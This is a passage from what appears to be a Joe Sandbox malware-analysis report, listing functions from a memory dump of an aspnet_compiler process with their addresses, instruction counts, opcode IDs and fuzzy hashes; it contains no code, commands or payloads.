                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 4aa21802b203594a0c183a0f29eab8f59a86752156d6c183eb3a1b7e63dba1b2
                  • Instruction ID: 926db07f7220e674cae023ce94ac820038f6b872859b60ed53eda566caa70082
                  • Opcode Fuzzy Hash: 4aa21802b203594a0c183a0f29eab8f59a86752156d6c183eb3a1b7e63dba1b2
                  • Instruction Fuzzy Hash: F0110436A10905AFDB19CB58C811B9EBBB6EF94210F15826AE84597354E631AD41CB80
                  Function 01350AD0 Relevance: .1, Instructions: 61COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 975f93ae0bdd36ad56dc7d48bb40b3373a7fecd11d003270eb178f636a7ee754
                  • Instruction ID: d01294bf5c160ec25219993972a85757902e6e3e8ea077ef342a432bb9b21cf5
                  • Opcode Fuzzy Hash: 975f93ae0bdd36ad56dc7d48bb40b3373a7fecd11d003270eb178f636a7ee754
                  • Instruction Fuzzy Hash: 932106B5A00B059FD7A0CF29C481B56BBF4FB48B14F10892EE98AC7B40E371E814CB90
                  Function 013DE7E1 Relevance: .1, Instructions: 59COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: be7cdff5b472ac4535dea4ef4a70d93a0a3acfb449cd7ab0a5074af29ebfca6c
                  • Instruction ID: 04f4f22df5766d1f0a07dd03de4368971329658521350c45808da5d54e4de100
                  • Opcode Fuzzy Hash: be7cdff5b472ac4535dea4ef4a70d93a0a3acfb449cd7ab0a5074af29ebfca6c
                  • Instruction Fuzzy Hash: C4119E33600605EFEB219F48D842B5ABFA5EB55B5CF05843DEA199F160DB31DC40DB90
                  Function 013727ED Relevance: .1, Instructions: 58COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: d24fb8c39b452e65ec43a190d7493ca8de54faf353336b90d8470e98301a7423
                  • Instruction ID: 966fcd63e35a0dbac782258f282d3da4ea66b68c649d0ae402b9b3d82f2087ed
                  • Opcode Fuzzy Hash: d24fb8c39b452e65ec43a190d7493ca8de54faf353336b90d8470e98301a7423
                  • Instruction Fuzzy Hash: D8012631705A49BBE326A66DD894F677FCCEF4079CF050075FA048BA51E929DC00C271
                  Function 01354690 Relevance: .1, Instructions: 57COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 32b3fe3cbfd14134da97af0f7305671fe85b75e8f35dc955e21f5fb3b31b60cd
                  • Instruction ID: cb1751a388b69696e89b1cd8a1b0d24a2ce9a78aa78581043be7f4e46af1c1c7
                  • Opcode Fuzzy Hash: 32b3fe3cbfd14134da97af0f7305671fe85b75e8f35dc955e21f5fb3b31b60cd
                  • Instruction Fuzzy Hash: 6711E036200644AFDB29CF59D940F567BA8EB86B6CF004129FD288B250D370E880CF60
                  Function 01386620 Relevance: .1, Instructions: 56COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 2ad23e37ea1a949b0f2d269b4b7c1d0ed2159836bb75358f062ec04d6bdf3fc1
                  • Instruction ID: 6880f128049db463a2f53d3d857d33ce6f6b5d62c39e4882e73cdcd4ae89b1e1
                  • Opcode Fuzzy Hash: 2ad23e37ea1a949b0f2d269b4b7c1d0ed2159836bb75358f062ec04d6bdf3fc1
                  • Instruction Fuzzy Hash: EE11C2B2A00755ABDB21EF5DC981F5EFBB8FF44768F510059EA04A7204D770BD018B60
                  Function 0137E53E Relevance: .1, Instructions: 55COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 3cef38ccb94af525019048e13b43edf7cf1492b2ee9bf366ac8f969377c4ca22
                  • Instruction ID: 7a433a94a31989fb03a22d99665e056f61dce11cec3cac4182fa1da6d6151566
                  • Opcode Fuzzy Hash: 3cef38ccb94af525019048e13b43edf7cf1492b2ee9bf366ac8f969377c4ca22
                  • Instruction Fuzzy Hash: 6211CE722056CADBE732972C8994BA53BDCAB417ACF1910F0DF418BE82F328D842C650
                  Function 013DE75D Relevance: .1, Instructions: 54COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 9e027ce95eb4732775abeceb8693466c215af0eeeb981fbb7873360829093128
                  • Instruction ID: 0238d8d6337ed329ea051d54e2237a4909d853dee78b8a885041cf33dc8215b9
                  • Opcode Fuzzy Hash: 9e027ce95eb4732775abeceb8693466c215af0eeeb981fbb7873360829093128
                  • Instruction Fuzzy Hash: DD01C033600515EFE7619B58D800F5A7EA9EB80B58F068035FA059F260E771DD40D790
                  Function 0134A250 Relevance: .1, Instructions: 52COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 3c789e6569c780a36f7740ae573b44e677a8d28900b05b280d318a59104278c5
                  • Instruction ID: 898b4b99be18cd3b71a563c97b9f1ef531ad54fbf7bc0e6b5c46b71dacd5326f
                  • Opcode Fuzzy Hash: 3c789e6569c780a36f7740ae573b44e677a8d28900b05b280d318a59104278c5
                  • Instruction Fuzzy Hash: D2014931544726ABCB318F19D840A727BF8FF55764700852DFC9A8B681C332E400DB60
                  Function 013CE1D0 Relevance: .1, Instructions: 51COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: a97c7a35a34a357f46d6a15470db2f70337ab345a896d07b61fbf2035d4fab6e
                  • Instruction ID: ac450bec137f153c2a6e5b0375b99cf63d9fc965c6e91eba57ce87f0105f87d4
                  • Opcode Fuzzy Hash: a97c7a35a34a357f46d6a15470db2f70337ab345a896d07b61fbf2035d4fab6e
                  • Instruction Fuzzy Hash: 94118B32241241EFDB26AF19C980F16BBB9FF54B48F200079E9059B6A1C235ED01CB90
                  Function 01356259 Relevance: .1, Instructions: 51COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 94efd77468a2d2ca6616aa7f8bdb85db230d22c7630e0b95bce3f8732143be7f
                  • Instruction ID: a013a510e25fd3b267820e2b934580de6f2753ad63e1ecc3a13b1b73042ba3ef
                  • Opcode Fuzzy Hash: 94efd77468a2d2ca6616aa7f8bdb85db230d22c7630e0b95bce3f8732143be7f
                  • Instruction Fuzzy Hash: D7117070542229ABDF75EB68CC42FE973B4BF04718F5041D4A718A61E0DB709E81CF84
                  Function 01386DA0 Relevance: .1, Instructions: 51COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: c0ec4d266471c9547166acc1fd1eb763428ac71706b94ce862d4cb5f0fc29682
                  • Instruction ID: cd8f851fd27656fdc7b13f27eafd69177635414c4bbd573bc4d3b754210fecac
                  • Opcode Fuzzy Hash: c0ec4d266471c9547166acc1fd1eb763428ac71706b94ce862d4cb5f0fc29682
                  • Instruction Fuzzy Hash: B20140B160435567DF25BB59C945BDFBF58EB40758F044015EA0A5B2C0D774E880C3E1
                  Function 01346DF6 Relevance: .1, Instructions: 51COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: d3ef391d75ada46943739c6844296e62e3fa00a9fa71fd28e4319b3a057b3d2c
                  • Instruction ID: 7ee06688897e88aea4841bf7040af00b7398e5c183cc63a9f1a23ba83916810d
                  • Opcode Fuzzy Hash: d3ef391d75ada46943739c6844296e62e3fa00a9fa71fd28e4319b3a057b3d2c
                  • Instruction Fuzzy Hash: A701F532300202ABDF216F2DE840E67B7A8FF8561CB400529FA4997A62DF21EC10CBD0
                  Function 013D6050 Relevance: .0, Instructions: 50COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 78023af445f63cb9f7d93fa2d1985137947b6b706ea3b0f1f36a173514fda420
                  • Instruction ID: 9d36abddba9045cd6105cffacb8575690a3de8ed9d549943b7839079f3aa0d26
                  • Opcode Fuzzy Hash: 78023af445f63cb9f7d93fa2d1985137947b6b706ea3b0f1f36a173514fda420
                  • Instruction Fuzzy Hash: 051117B390011DABCF12DB98DC85DDFBB7CEF48258F044166A916E7211EA34AA55CBA0
                  Function 0135208A Relevance: .0, Instructions: 50COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: cec1b93156338fd1fb8a58b034706470ae4e768dca4fd24834b6fe138f7a55f1
                  • Instruction ID: 815e255c98839db37fd0f985dec49494f79aee0172c17483829e69187def8849
                  • Opcode Fuzzy Hash: cec1b93156338fd1fb8a58b034706470ae4e768dca4fd24834b6fe138f7a55f1
                  • Instruction Fuzzy Hash: 4E01F132201111CBEF559A6DD880E97B76AFFD4A08F9A40A9ED058F256DA71D881C790
                  Function 013E6500 Relevance: .0, Instructions: 50COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 898e03cb74d7aa88da472a732291d14a52499a149ef2ca92703a21ad9dc0ea28
                  • Instruction ID: 4c723b48c1a1076dc4de8a30a57c44830ef30b10d7a1e70b9b71e8a84a82304d
                  • Opcode Fuzzy Hash: 898e03cb74d7aa88da472a732291d14a52499a149ef2ca92703a21ad9dc0ea28
                  • Instruction Fuzzy Hash: 7611E572600255DFC701CF18C800BA5BBF9FB66318F088159E8488B395D732EC41CBA0
                  Function 013DC810 Relevance: .0, Instructions: 50COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 8fcec57dc75ef8072b83f745b7f421f5bf1d4c30ae791d23ad23819066c3fa15
                  • Instruction ID: 78893c5f461e1129bd21ee589b5f20450be970b2b78837eb71d5a5723ebf0d3a
                  • Opcode Fuzzy Hash: 8fcec57dc75ef8072b83f745b7f421f5bf1d4c30ae791d23ad23819066c3fa15
                  • Instruction Fuzzy Hash: F2111CB1A002199FCB00DFADD541A9EBBF8FF58254F10806AA905E7351D674EE01CBA4
                  Function 0134C020 Relevance: .0, Instructions: 49COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: dec391378cc995e4bcc1589e6a6118842a70016cea674f56f99eea4ad8bc76d4
                  • Instruction ID: 2ef11a6b80bc6d03a4d27392d06e2dd5c2dc1295e9bdf04afd9787e5962c2057
                  • Opcode Fuzzy Hash: dec391378cc995e4bcc1589e6a6118842a70016cea674f56f99eea4ad8bc76d4
                  • Instruction Fuzzy Hash: 5B01B532100705DFEB22D6AAC840EA777EDFFD5258F458419A6968B950DA74F441CB50
                  Function 013920F0 Relevance: .0, Instructions: 49COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 232eb9df098a75eb2bad9afb63d0ec455c3b5de896c8e6fa54cdec8bdb17d97e
                  • Instruction ID: c28cf4e0e1ad04706e0969af4f0f919fc17dc3107e5cc3777eb3c4ce2d59c234
                  • Opcode Fuzzy Hash: 232eb9df098a75eb2bad9afb63d0ec455c3b5de896c8e6fa54cdec8bdb17d97e
                  • Instruction Fuzzy Hash: 99116D75A0020DAFCF05DFA8C950EAE7BB9EB44688F004059E90597250E635AE11CB90
                  Function 0138E5CF Relevance: .0, Instructions: 49COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 125da165e08ef5b7eec2ae268815c165b7ec59fd2f518dd1a8d7a001373a54aa
                  • Instruction ID: 6a993994815610d4b9f32bc10a8dc0e6261c049c679d9668a8bfb375b50c0201
                  • Opcode Fuzzy Hash: 125da165e08ef5b7eec2ae268815c165b7ec59fd2f518dd1a8d7a001373a54aa
                  • Instruction Fuzzy Hash: CF01D4B1201606BBE611AB6DCD40E13BBBCFB55768701462AB20983564DB24EC11C7A0
                  Function 013E69C0 Relevance: .0, Instructions: 49COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 32f2ef659ce3764dd148bd64fed35a8f70d5dd723b404ce4d64dd881aa85ce02
                  • Instruction ID: e92a3f1f3cfa93f62e36fdf6bfb306e6b6216e7489e1ae3629a89664b27113eb
                  • Opcode Fuzzy Hash: 32f2ef659ce3764dd148bd64fed35a8f70d5dd723b404ce4d64dd881aa85ce02
                  • Instruction Fuzzy Hash: 6B019CB22143129BD320DF7EC88D96BBBECFF64668F104129E959871C0E7309811C7D1
                  Function 013DC460 Relevance: .0, Instructions: 48COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 0f2ef2a14292270738eff18d832e0ce23df0e0a116b92c7fb3dff1b3a400d7ab
                  • Instruction ID: f8e013b855e1d677d7f94ee408f005b87735f6b853544b5aa5f32a6d110bd1cd
                  • Opcode Fuzzy Hash: 0f2ef2a14292270738eff18d832e0ce23df0e0a116b92c7fb3dff1b3a400d7ab
                  • Instruction Fuzzy Hash: 13115B75A1020DABDF16EFA8D950EAE7BBAEB58248F004059FD01A7350DA34E911CB90
                  Function 013DC97C Relevance: .0, Instructions: 48COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: d07dca852469bdd632cde5c6a5669ed66a28584700a5b4c665999b88603804b2
                  • Instruction ID: e8450212be1acc1edd6f1264f0f4c67f7a1461e7a809d8958944aa8657927f4a
                  • Opcode Fuzzy Hash: d07dca852469bdd632cde5c6a5669ed66a28584700a5b4c665999b88603804b2
                  • Instruction Fuzzy Hash: E91179B26193089FC700DF6DD44195BBBE8EF98314F00851EBA98D7390E630E901CB92
                  Function 013DCA11 Relevance: .0, Instructions: 48COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 3c37ae409ccbec1b7338d75770e29dff63a4f20aff53d0727e27c50180785b12
                  • Instruction ID: 92dc5f394a279c4ed7b1e3985ea6ebb732a2047f507a15fa5ea931673a8e7f53
                  • Opcode Fuzzy Hash: 3c37ae409ccbec1b7338d75770e29dff63a4f20aff53d0727e27c50180785b12
                  • Instruction Fuzzy Hash: 741157B26183089FC700DF6DD44194ABBE8EF99354F00851EB958D73A0E630E901CB92
                  Function 01424A80 Relevance: .0, Instructions: 48COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 4be238ecb871e70af7da4c9819feb513cc5cd9ee9a4f29187abed574232cbb68
                  • Instruction ID: f4f81627ee40c187fd5439c62daf66a8720e940ab951c5e83b709c85624d619e
                  • Opcode Fuzzy Hash: 4be238ecb871e70af7da4c9819feb513cc5cd9ee9a4f29187abed574232cbb68
                  • Instruction Fuzzy Hash: 3C012832200601DFD7218A9DC840F53B7EAFFC5200F49441AE642CB760DAF4F880C754
                  Function 0136E016 Relevance: .0, Instructions: 46COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 0b4e63a3af2f36388c19bb01a8158bbf85eee50dbe01f6888877beb839016758
                  • Instruction ID: 96e325657541468f570f9028a29a832fecc0dcc421bc6b8b956d1671a98adabd
                  • Opcode Fuzzy Hash: 0b4e63a3af2f36388c19bb01a8158bbf85eee50dbe01f6888877beb839016758
                  • Instruction Fuzzy Hash: BD017C32204584DFE326C61EC948F267BECEB5575CF0944B1F905DBAD1D628DC40C661
                  Function 0134826B Relevance: .0, Instructions: 46COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 84932ff7d723beb828853507a063fc31c1c4f5084c342f86961e34e7c5973b3c
                  • Instruction ID: 6895f7164ed5987a1c3adb8eacc6213ad53cd954d08cdff23d9613735de03d03
                  • Opcode Fuzzy Hash: 84932ff7d723beb828853507a063fc31c1c4f5084c342f86961e34e7c5973b3c
                  • Instruction Fuzzy Hash: 1F01A276700519DFD714EFAEE8009AEBBF9FF80618B1540A9D901A7654EE30ED06C790
                  Function 013D4C0F Relevance: .0, Instructions: 46COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 1dce1ada84acee855ed64e704bad93ccf41e83dafa885a9605c302899d08be0a
                  • Instruction ID: a699d12ee8733d609f4c335bd56ba29e04e94bfb8142d2fee437b9917259c4bf
                  • Opcode Fuzzy Hash: 1dce1ada84acee855ed64e704bad93ccf41e83dafa885a9605c302899d08be0a
                  • Instruction Fuzzy Hash: 9F01A277B00306ABEF21DF9DE9C0B59BBFCAB84754F110029EA0497205E7B4DD448764
                  Function 01352582 Relevance: .0, Instructions: 45COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 080ae258e84f8d9a49a633e9b282c5c6cc33e700c1ebd507a52f4e0bba0e0160
                  • Instruction ID: c1ea592ace6544ccc21a864d03eb8c1b2ba8ce8eee8b9c0688c6bae475470310
                  • Opcode Fuzzy Hash: 080ae258e84f8d9a49a633e9b282c5c6cc33e700c1ebd507a52f4e0bba0e0160
                  • Instruction Fuzzy Hash: 7EF0F432641A10F7C7329B5ACC40F57BAADEB84FA8F118429BA0997640CA30ED01CAE0
                  Function 0137C073 Relevance: .0, Instructions: 43COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 65a6da88ffe4e3ef4f4bf4dda68b508183db8c002971e90ba11f3763248cd9ea
                  • Instruction ID: fe3933f8e4254aa831b3cd70b3a927363749df4a29675d849b5a01391221a4c2
                  • Opcode Fuzzy Hash: 65a6da88ffe4e3ef4f4bf4dda68b508183db8c002971e90ba11f3763248cd9ea
                  • Instruction Fuzzy Hash: DBF0C2B2600A11ABD335CF4DDC40EA7FBEEDBD1A84F048128A519CB320EA31DD04CB90
                  Function 0134C310 Relevance: .0, Instructions: 43COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 256e141dc6b9705f9909cc47be5080ee0eb4db29c7708f1459163a76593eb05a
                  • Instruction ID: 9f6f24588f97259003c56aa60f529fd5340b36151ffd9b7733dabfe0c06b2075
                  • Opcode Fuzzy Hash: 256e141dc6b9705f9909cc47be5080ee0eb4db29c7708f1459163a76593eb05a
                  • Instruction Fuzzy Hash: 92F0F633247A239BD7735A9D4840B6BAAD98FD1A6CF1A1035F2099B605CA68ED0297D0
                  Function 0138CA6F Relevance: .0, Instructions: 42COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 6225b3f56bb7e4a8823ac3bf287c1186c08f5b75335344108ff231fc305a603f
                  • Instruction ID: 5fa876e6e09156c5f69466e9d597c423736bd658076a61101f232f51bfee13f7
                  • Opcode Fuzzy Hash: 6225b3f56bb7e4a8823ac3bf287c1186c08f5b75335344108ff231fc305a603f
                  • Instruction Fuzzy Hash: F601F432204689DBE322A71DC805F99FB9DFF51B5CF0880A9FA149BAA1D679CD01C324
                  Function 014261E5 Relevance: .0, Instructions: 41COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 7beb36a2434da397c817ed88e4a2d5041708cd800502ce5e2587d9817984d61a
                  • Instruction ID: d95d853d5577de2a8aa34d02b935945b3e63cb7a2af1b3fa2d922d37e06b11f7
                  • Opcode Fuzzy Hash: 7beb36a2434da397c817ed88e4a2d5041708cd800502ce5e2587d9817984d61a
                  • Instruction Fuzzy Hash: 67017C71A00259ABCF00DFADD841AAEBBB8AF58314F14405AE901A7390D734EA02CBA5
                  Function 013D63C0 Relevance: .0, Instructions: 41COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: dbb06fbea8421d8b96890fd2b120b20d820a8046168cc589f8d54c87f08ef009
                  • Instruction ID: e1ebfe9cedf8d27d20d54e364b66ec08c70ded3a1c562a3da7367c11b49b65f5
                  • Opcode Fuzzy Hash: dbb06fbea8421d8b96890fd2b120b20d820a8046168cc589f8d54c87f08ef009
                  • Instruction Fuzzy Hash: 79F01DB320001DBFEF019F99DD81DEF7B7EEB592A8B104125FA11A2160D635DD21ABA0
                  Function 013DA4B0 Relevance: .0, Instructions: 40COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
